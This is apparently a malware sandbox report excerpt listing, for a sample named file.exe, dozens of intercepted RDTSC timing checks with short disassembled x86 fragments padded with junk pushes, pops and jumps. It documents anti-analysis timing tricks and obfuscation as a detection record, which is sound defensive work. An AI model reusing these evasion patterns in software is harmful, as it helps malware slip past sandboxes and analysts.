Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603E70 second address: 603E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3DB4B27726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603E7A second address: 603E88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60403A second address: 60403F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60403F second address: 604069 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F3DB4EC7BB1h 0x00000008 jmp 00007F3DB4EC7BADh 0x0000000d pop ecx 0x0000000e jne 00007F3DB4EC7BB2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604069 second address: 60406F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60419D second address: 6041CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F3DB4EC7BB0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3DB4EC7BB9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60436A second address: 60436E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5CB1 second address: 5B5CD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3DB4EC7BB9h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5CD7 second address: 5B5CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5CDC second address: 5B5CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5CE2 second address: 5B5D4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sub dword ptr [ebp+1247C7A0h], edi 0x0000000f mov ebx, dword ptr [ebp+12489E65h] 0x00000015 jns 00007F3DB4B2772Ch 0x0000001b mov ecx, dword ptr [ebp+122D399Fh] 0x00000021 add eax, ebx 0x00000023 or edi, dword ptr [ebp+122D38E7h] 0x00000029 nop 0x0000002a pushad 0x0000002b jne 00007F3DB4B27728h 0x00000031 jmp 00007F3DB4B2772Ch 0x00000036 popad 0x00000037 push eax 0x00000038 jc 00007F3DB4B2772Eh 0x0000003e push ebx 0x0000003f jne 00007F3DB4B27726h 0x00000045 pop ebx 0x00000046 nop 0x00000047 mov edx, dword ptr [ebp+122D5A89h] 0x0000004d push 00000004h 0x0000004f or dword ptr [ebp+122D2349h], ecx 0x00000055 nop 0x00000056 push ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 jbe 00007F3DB4B27726h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604646 second address: 60464A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6050A9 second address: 6050AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6050AD second address: 6050B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6050B3 second address: 6050E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DB4B27735h 0x00000008 jmp 00007F3DB4B27733h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608E75 second address: 608E9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a jmp 00007F3DB4EC7BADh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 jne 00007F3DB4EC7BA8h 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60811A second address: 608120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608120 second address: 608124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6083D8 second address: 6083DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6083DC second address: 6083FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3DB4EC7BB8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6085A0 second address: 6085AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3DB4B27726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6085AA second address: 6085E7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3DB4EC7BA6h 0x00000008 jmp 00007F3DB4EC7BB2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jng 00007F3DB4EC7BA6h 0x00000018 jmp 00007F3DB4EC7BB6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60887E second address: 6088C5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3DB4B27726h 0x00000008 jnl 00007F3DB4B27726h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jns 00007F3DB4B2772Ch 0x00000016 jmp 00007F3DB4B2772Ch 0x0000001b popad 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3DB4B27735h 0x00000024 jg 00007F3DB4B27726h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6088C5 second address: 6088CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608A1B second address: 608A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DAD8 second address: 60DADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DADE second address: 60DAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DAE4 second address: 60DAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC8F second address: 60DC93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DDE5 second address: 60DDE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DDE9 second address: 60DDEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EC71 second address: 60EC79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F8B7 second address: 60F8C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F8C0 second address: 60F8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61436C second address: 614370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614370 second address: 614374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614374 second address: 61437A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61437A second address: 614385 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614385 second address: 61438B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6134A2 second address: 6134A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6134A6 second address: 6134BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4B27732h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6134BE second address: 6134C8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3DB4EC7BA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6134C8 second address: 6134D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6134D4 second address: 6134F4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3DB4EC7BA6h 0x00000008 jmp 00007F3DB4EC7BAEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6134F4 second address: 6134FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6134FA second address: 613502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6138D0 second address: 61390E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Eh 0x00000007 jbe 00007F3DB4B27726h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F3DB4B2772Dh 0x00000014 jmp 00007F3DB4B2772Eh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c je 00007F3DB4B2772Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61390E second address: 613914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613914 second address: 613919 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613A54 second address: 613A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613A5E second address: 613A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614078 second address: 614082 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FC10 second address: 61FC2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F3DB4B27732h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61DCB6 second address: 61DCC3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3DB4EC7BA8h 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61DE5E second address: 61DE69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E2F2 second address: 61E2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E2F6 second address: 61E2FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E4BA second address: 61E4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E4BE second address: 61E4C8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3DB4B27726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E655 second address: 61E661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F3DB4EC7BA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E661 second address: 61E678 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3DB4B27726h 0x00000008 jp 00007F3DB4B27726h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E678 second address: 61E67C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E941 second address: 61E945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E945 second address: 61E949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61EB21 second address: 61EB26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61EC94 second address: 61EC98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61EC98 second address: 61ECA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F41A second address: 61F428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnc 00007F3DB4EC7BA6h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F428 second address: 61F42E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F42E second address: 61F438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3DB4EC7BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D7D7 second address: 61D7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D7DB second address: 61D7F7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3DB4EC7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F3DB4EC7BA8h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007F3DB4EC7BA6h 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D7F7 second address: 61D800 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6238E8 second address: 623934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F3DB4EC7BB6h 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jc 00007F3DB4EC7BA6h 0x00000017 jmp 00007F3DB4EC7BACh 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3DB4EC7BB3h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623934 second address: 623938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623938 second address: 623971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F3DB4EC7BACh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jnl 00007F3DB4EC7BA6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F3DB4EC7BB7h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623740 second address: 623746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623746 second address: 623750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3DB4EC7BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623750 second address: 62379E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27730h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3DB4B27739h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ebx 0x00000012 jmp 00007F3DB4B27730h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e jl 00007F3DB4B27726h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627F4D second address: 627F61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627F61 second address: 627F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F3DB4B27726h 0x0000000e jmp 00007F3DB4B27737h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627F86 second address: 627FDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F3DB4EC7BB6h 0x00000010 je 00007F3DB4EC7BBAh 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F3DB4EC7BB2h 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 jmp 00007F3DB4EC7BAEh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6393AA second address: 6393B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6393B0 second address: 6393C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F3DB4EC7BA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6393C0 second address: 6393C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6393C4 second address: 6393C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DC8C second address: 64DC90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DC90 second address: 64DC9A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3DB4EC7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C555 second address: 64C559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C559 second address: 64C567 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C567 second address: 64C56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C56B second address: 64C58A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3DB4EC7BA6h 0x00000008 jmp 00007F3DB4EC7BB1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C6CA second address: 64C6E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27733h 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F3DB4B27726h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C6E9 second address: 64C6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C841 second address: 64C855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DB4B27730h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CB47 second address: 64CB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F236 second address: 64F25C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3DB4B27738h 0x0000000d jo 00007F3DB4B27726h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66080B second address: 66080F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670A5A second address: 670A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670565 second address: 67057D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3DB4EC7BA6h 0x00000008 jmp 00007F3DB4EC7BAEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
